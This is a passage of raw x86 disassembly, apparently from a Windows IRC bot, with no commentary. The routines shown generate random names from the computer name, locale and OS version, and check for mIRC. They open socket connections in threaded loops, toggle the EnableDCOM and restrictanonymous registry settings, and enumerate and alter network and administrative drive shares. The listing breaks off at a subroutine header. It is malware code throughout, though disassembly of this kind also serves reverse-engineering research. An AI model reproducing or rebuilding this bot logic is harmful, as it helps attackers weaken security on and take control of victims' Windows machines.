		call	dword_42113C	; GetComputerNameA
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41588A
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_42C264, esi
		jle	short loc_414056


loc_414030:				; CODE XREF: seg001:00414054j
		call	sub_415372
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_43772C
		push	1Ch
		push	edi
		call	sub_41588A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42C264
		jl	short loc_414030


loc_414056:				; CODE XREF: seg001:0041402Ej
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415368
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	dword_421144	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_437738
		push	1Ch
		push	edi
		call	sub_41588A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42C264, esi
		jle	short loc_4140CB


loc_4140A5:				; CODE XREF: seg001:004140C9j
		call	sub_415372
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_43772C
		push	1Ch
		push	edi
		call	sub_41588A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42C264
		jl	short loc_4140A5


loc_4140CB:				; CODE XREF: seg001:004140A3j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_43B188
		mov	dword ptr [ebp-94h], 94h
		call	dword_42110C	; GetVersionExA
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415368
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_414155
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_414135
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_414125
		mov	esi, offset a95	; "95"


loc_414125:				; CODE XREF: seg001:0041411Ej
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_414191
		mov	esi, offset aNt	; "NT"
		jmp	short loc_414191
; ---------------------------------------------------------------------------


loc_414135:				; CODE XREF: seg001:00414115j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_414145
		mov	esi, offset a98	; "98"
		jmp	short loc_414191
; ---------------------------------------------------------------------------


loc_414145:				; CODE XREF: seg001:0041413Cj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_41418C
		mov	esi, offset aMe	; "ME"
		jmp	short loc_414191
; ---------------------------------------------------------------------------


loc_414155:				; CODE XREF: seg001:0041410Cj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_41418C
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_41416E
		mov	esi, offset a2k	; "2K"
		jmp	short loc_414191
; ---------------------------------------------------------------------------


loc_41416E:				; CODE XREF: seg001:00414165j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_41417E
		mov	esi, offset aXp	; "XP"
		jmp	short loc_414191
; ---------------------------------------------------------------------------


loc_41417E:				; CODE XREF: seg001:00414175j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_437744
		jz	short loc_414191


loc_41418C:				; CODE XREF: seg001:0041414Cj
					; seg001:0041415Cj
		mov	esi, offset dword_42B870


loc_414191:				; CODE XREF: seg001:0041412Cj
					; seg001:00414133j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_43773C
		push	1Ch
		push	edi
		call	sub_41588A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42C264, esi
		jle	short loc_4141D5


loc_4141AF:				; CODE XREF: seg001:004141D3j
		call	sub_415372
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_43772C
		push	1Ch
		push	edi
		call	sub_41588A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42C264
		jl	short loc_4141AF


loc_4141D5:				; CODE XREF: seg001:004141ADj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4141DB	proc near		; CODE XREF: sub_414278+5Dp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	dword_42104C	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc	; "mIRC"
		mov	esi, eax
		call	dword_43C560
		cmp	esi, 64h
		jbe	short loc_41422A
		test	eax, eax
		mov	eax, offset dword_437750
		jnz	short loc_414213
		mov	eax, offset byte_43B188


loc_414213:				; CODE XREF: sub_4141DB+31j
		push	eax
		push	esi
		push	offset dword_437748
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41588A
		add	esp, 14h
		jmp	short loc_414244
; ---------------------------------------------------------------------------


loc_41422A:				; CODE XREF: sub_4141DB+28j
		test	eax, eax
		mov	eax, offset dword_437750
		jnz	short loc_414238
		mov	eax, offset byte_43B188


loc_414238:				; CODE XREF: sub_4141DB+56j
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx


loc_414244:				; CODE XREF: sub_4141DB+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_415B10
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_414273
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_416DB0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_416BE0
		add	esp, 18h


loc_414273:				; CODE XREF: sub_4141DB+77j
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_4141DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414278	proc near		; CODE XREF: sub_40CA58+7Fp
					; sub_40CBBE+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi


loc_414281:				; CODE XREF: sub_414278+40j
		cmp	[ebp+arg_C], 0
		jz	short loc_41429F
		lea	eax, dword_4376C8[esi]
		push	eax
		push	[ebp+arg_C]
		call	sub_415730
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_4142AD
; ---------------------------------------------------------------------------


loc_41429F:				; CODE XREF: sub_414278+Dj
		mov	ecx, dword_4376D4[esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_4142AD:				; CODE XREF: sub_414278+25j
		test	eax, eax
		jnz	short loc_4142BC
		add	esi, 14h
		inc	edi
		cmp	esi, 64h
		jb	short loc_414281
		jmp	short loc_4142CA
; ---------------------------------------------------------------------------


loc_4142BC:				; CODE XREF: sub_414278+37j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_4376D8[eax*4]
		pop	ecx


loc_4142CA:				; CODE XREF: sub_414278+42j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_4142DD
		push	[ebp+arg_0]
		call	sub_4141DB
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4142DD:				; CODE XREF: sub_414278+58j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_414278	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4142E2	proc near		; DATA XREF: sub_4143AF+7Bo

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	10h
		rep movsd
		xor	esi, esi
		push	0
		inc	esi
		mov	[eax+0A4h], esi
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_415390
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_34]
		call	dword_43C554
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_43C5D4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4143A0
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43C4FC
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_4416D4[ecx], esi
		jz	short loc_4143A0
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	dword_43C5E0
		push	eax
		mov	edi, offset dword_46B408
		push	offset unk_437754
		push	edi
		call	sub_415316
		push	0
		lea	eax, [ebp+var_B4]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_B8]
		call	sub_412BD1
		push	edi
		call	sub_40B078
		add	esp, 28h


loc_4143A0:				; CODE XREF: sub_4142E2+5Dj
					; sub_4142E2+7Ej
		push	esi
		call	dword_43C5EC
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_4142E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4143AF	proc near		; DATA XREF: sub_40CD3A+3410o

var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, dword_421060
		mov	dword ptr [ebx+0A0h], 1
		xor	edi, edi


loc_4143DD:				; CODE XREF: sub_4143AF+ECj
		push	[ebp+var_2C]
		push	[ebp+var_20]
		call	dword_43C5E0
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_437790
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_130]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_4414C8
		push	eax
		call	sub_416BE0
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_4142E2
		push	edi
		push	edi
		call	dword_42108C	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_414449
		jmp	short loc_414444
; ---------------------------------------------------------------------------


loc_414440:				; CODE XREF: sub_4143AF+98j
		push	32h
		call	esi	; Sleep


loc_414444:				; CODE XREF: sub_4143AF+8Fj
		cmp	[ebp+var_C], edi
		jz	short loc_414440


loc_414449:				; CODE XREF: sub_4143AF+8Dj
		push	[ebp+var_4]
		call	dword_42106C	; CloseHandle
		push	dword ptr [ebx+88h]
		mov	[ebx+0A4h], edi
		call	esi	; Sleep
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4153F0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_43C488
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_43C550
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4153F0
		add	esp, 0Ch
		jmp	loc_4143DD
sub_4143AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4144A0	proc near		; DATA XREF: sub_40CD3A+5979o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_4144E7
		call	sub_414500
		jmp	short loc_4144EC
; ---------------------------------------------------------------------------


loc_4144E7:				; CODE XREF: sub_4144A0+3Ej
		call	sub_414826


loc_4144EC:				; CODE XREF: sub_4144A0+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_4150F0
		pop	ecx
		push	0
		call	dword_421048	; ExitThread
sub_4144A0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414500	proc near		; CODE XREF: sub_4144A0+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43C620, edi
		jnz	loc_414632
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_43C5C4
		test	eax, eax
		jnz	short loc_41458B
		mov	ax, word_437B80
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_43C578
		test	eax, eax
		lea	eax, [ebp+var_214]
		jz	short loc_414573
		push	offset unk_437B3C
		jmp	short loc_414578
; ---------------------------------------------------------------------------


loc_414573:				; CODE XREF: sub_414500+6Aj
		push	offset dword_437B0C


loc_414578:				; CODE XREF: sub_414500+71j
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43C530
		jmp	short loc_41459E
; ---------------------------------------------------------------------------


loc_41458B:				; CODE XREF: sub_414500+36j
		lea	eax, [ebp+var_214]
		push	offset unk_437AC8
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx


loc_41459E:				; CODE XREF: sub_414500+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_4145BD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_4145BD:				; CODE XREF: sub_414500+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B078
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_43C5C4
		test	eax, eax
		jnz	short loc_41462B
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_43C578
		test	eax, eax
		lea	eax, [ebp+var_214]
		jz	short loc_414613
		push	offset unk_437A60
		jmp	short loc_414618
; ---------------------------------------------------------------------------


loc_414613:				; CODE XREF: sub_414500+10Aj
		push	offset unk_437A18


loc_414618:				; CODE XREF: sub_414500+111j
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43C530
		jmp	short loc_414645
; ---------------------------------------------------------------------------


loc_41462B:				; CODE XREF: sub_414500+E2j
		push	offset unk_4379C8
		jmp	short loc_414637
; ---------------------------------------------------------------------------


loc_414632:				; CODE XREF: sub_414500+13j
		push	offset unk_437980


loc_414637:				; CODE XREF: sub_414500+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx


loc_414645:				; CODE XREF: sub_414500+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_414664
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_414664:				; CODE XREF: sub_414500+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B078
		cmp	dword_43C648, edi
		pop	ecx
		jnz	loc_4147E1
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_414687:				; CODE XREF: sub_414500+2C5j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_43C4A0
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_414726
		cmp	eax, 0EAh
		jz	short loc_414726
		xor	esi, esi


loc_4146B5:				; CODE XREF: sub_414500+21Fj
		push	off_4377D0[esi]
		push	edi
		call	sub_413225
		pop	ecx
		pop	ecx
		push	off_4377D0[esi]
		test	eax, eax
		lea	eax, [ebp+var_214]
		jnz	short loc_4146DA
		push	offset unk_437948
		jmp	short loc_4146DF
; ---------------------------------------------------------------------------


loc_4146DA:				; CODE XREF: sub_414500+1D1j
		push	offset unk_437908


loc_4146DF:				; CODE XREF: sub_414500+1D8j
		push	200h
		push	eax
		call	sub_41588A
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41470C
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_41470C:				; CODE XREF: sub_414500+1F0j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B078
		add	esi, 8
		pop	ecx
		cmp	esi, 20h
		jb	short loc_4146B5
		jmp	loc_4147BE
; ---------------------------------------------------------------------------


loc_414726:				; CODE XREF: sub_414500+1AAj
					; sub_414500+1B1j
		mov	esi, [ebp+var_8]
		xor	ebx, ebx
		inc	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_4147B5


loc_414735:				; CODE XREF: sub_414500+2B1j
		mov	edi, [esi]
		push	edi
		call	sub_4179FC
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_4147AA
		push	edi
		call	sub_413112
		push	eax
		push	0
		call	sub_413225
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		lea	eax, [ebp+var_214]
		jnz	short loc_41476A
		push	offset unk_4378D0
		jmp	short loc_41476F
; ---------------------------------------------------------------------------


loc_41476A:				; CODE XREF: sub_414500+261j
		push	offset unk_437890


loc_41476F:				; CODE XREF: sub_414500+268j
		push	200h
		push	eax
		call	sub_41588A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41479D
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_41479D:				; CODE XREF: sub_414500+281j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B078
		pop	ecx


loc_4147AA:				; CODE XREF: sub_414500+244j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_414735
		xor	edi, edi


loc_4147B5:				; CODE XREF: sub_414500+22Fj
		push	[ebp+var_8]
		call	dword_43C5E4


loc_4147BE:				; CODE XREF: sub_414500+221j
		cmp	[ebp+var_10], 0EAh
		jz	loc_414687
		lea	eax, [ebp+var_214]
		push	offset unk_437854
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_4147F4
; ---------------------------------------------------------------------------


loc_4147E1:				; CODE XREF: sub_414500+177j
		lea	eax, [ebp+var_214]
		push	offset unk_437810
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx


loc_4147F4:				; CODE XREF: sub_414500+2DFj
		cmp	[ebp+arg_C], edi
		jnz	short loc_414812
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_414812:				; CODE XREF: sub_414500+2F7j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B078
		pop	ecx
		xor	eax, eax
		pop	edi
		inc	eax
		pop	esi
		leave
		retn
sub_414500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414826	proc near		; CODE XREF: sub_4144A0:loc_4144E7p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_43C620, ebx
		push	esi
		jnz	loc_414954
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_43C5C4
		test	eax, eax
		jnz	short loc_4148B1
		mov	ax, word_437D88
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_43C578
		test	eax, eax
		lea	eax, [ebp+var_220]
		jz	short loc_414899
		push	offset unk_437D50
		jmp	short loc_41489E
; ---------------------------------------------------------------------------


loc_414899:				; CODE XREF: sub_414826+6Aj
		push	offset dword_437D20


loc_41489E:				; CODE XREF: sub_414826+71j
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43C530
		jmp	short loc_4148C4
; ---------------------------------------------------------------------------


loc_4148B1:				; CODE XREF: sub_414826+36j
		lea	eax, [ebp+var_220]
		push	offset unk_437AC8
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx


loc_4148C4:				; CODE XREF: sub_414826+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_4148E3
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_4148E3:				; CODE XREF: sub_414826+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B078
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_43C5C4
		test	eax, eax
		jnz	short loc_41494D
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_43C578
		test	eax, eax
		lea	eax, [ebp+var_220]
		jz	short loc_414935
		push	offset unk_437CD0
		jmp	short loc_41493A
; ---------------------------------------------------------------------------


loc_414935:				; CODE XREF: sub_414826+106j
		push	offset unk_437C88


loc_41493A:				; CODE XREF: sub_414826+10Dj
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43C530
		jmp	short loc_414967
; ---------------------------------------------------------------------------


loc_41494D:				; CODE XREF: sub_414826+E2j
		push	offset unk_437C38
		jmp	short loc_414959
; ---------------------------------------------------------------------------


loc_414954:				; CODE XREF: sub_414826+13j
		push	offset unk_437980


loc_414959:				; CODE XREF: sub_414826+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx


loc_414967:				; CODE XREF: sub_414826+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_414986
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_414986:				; CODE XREF: sub_414826+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B078
		cmp	dword_43C648, ebx
		pop	ecx
		jnz	loc_414AFD
		push	edi
		xor	esi, esi
		mov	edi, 200h


loc_4149A7:				; CODE XREF: sub_414826+1EEj
		push	dword_4377D4[esi]
		push	off_4377D0[esi]
		push	ebx
		call	sub_413179
		add	esp, 0Ch
		push	off_4377D0[esi]
		test	eax, eax
		lea	eax, [ebp+var_220]
		jnz	short loc_4149D3
		push	offset unk_437C04
		jmp	short loc_4149D8
; ---------------------------------------------------------------------------


loc_4149D3:				; CODE XREF: sub_414826+1A4j
		push	offset unk_437BC8


loc_4149D8:				; CODE XREF: sub_414826+1ABj
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_414A01
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_414A01:				; CODE XREF: sub_414826+1BFj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B078
		add	esi, 8
		pop	ecx
		cmp	esi, 10h
		jb	short loc_4149A7
		call	dword_421148	; GetLogicalDrives
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_414AE5


loc_414A29:				; CODE XREF: sub_414826+2B9j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_414ADA
		cmp	bl, 41h
		jz	loc_414ADA
		movsx	esi, bl
		push	esi
		push	offset aC_3	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41588A
		push	esi
		push	offset aC_2	; "%c:\\"
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		call	sub_41588A
		add	esp, 20h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_43C5B4
		cmp	eax, 3
		jnz	short loc_414ADA
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_413179
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_220]
		jnz	short loc_414A9E
		push	offset unk_437C04
		jmp	short loc_414AA3
; ---------------------------------------------------------------------------


loc_414A9E:				; CODE XREF: sub_414826+26Fj
		push	offset unk_437BC8


loc_414AA3:				; CODE XREF: sub_414826+276j
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_414ACD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_414ACD:				; CODE XREF: sub_414826+28Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B078
		pop	ecx


loc_414ADA:				; CODE XREF: sub_414826+20Bj
					; sub_414826+214j ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_414A29


loc_414AE5:				; CODE XREF: sub_414826+1FDj
		lea	eax, [ebp+var_220]
		push	offset unk_437B84
		push	eax
		call	sub_415316
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_414B10
; ---------------------------------------------------------------------------


loc_414AFD:				; CODE XREF: sub_414826+173j
		lea	eax, [ebp+var_220]
		push	offset unk_437810
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx


loc_414B10:				; CODE XREF: sub_414826+2D5j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_414B2E
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_414B2E:				; CODE XREF: sub_414826+2EDj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B078
		pop	ecx
		xor	eax, eax
		pop	esi
		inc	eax
		pop	ebx
		leave
		retn
sub_414826	endp


; =============== S U B	R O U T	I N E =======================================



sub_414B42	proc near		; CODE XREF: sub_414B62+Ap
					; sub_414C3A+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_415B10
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_415B10
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_414B42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414B62	proc near		; CODE XREF: sub_414C51+49p

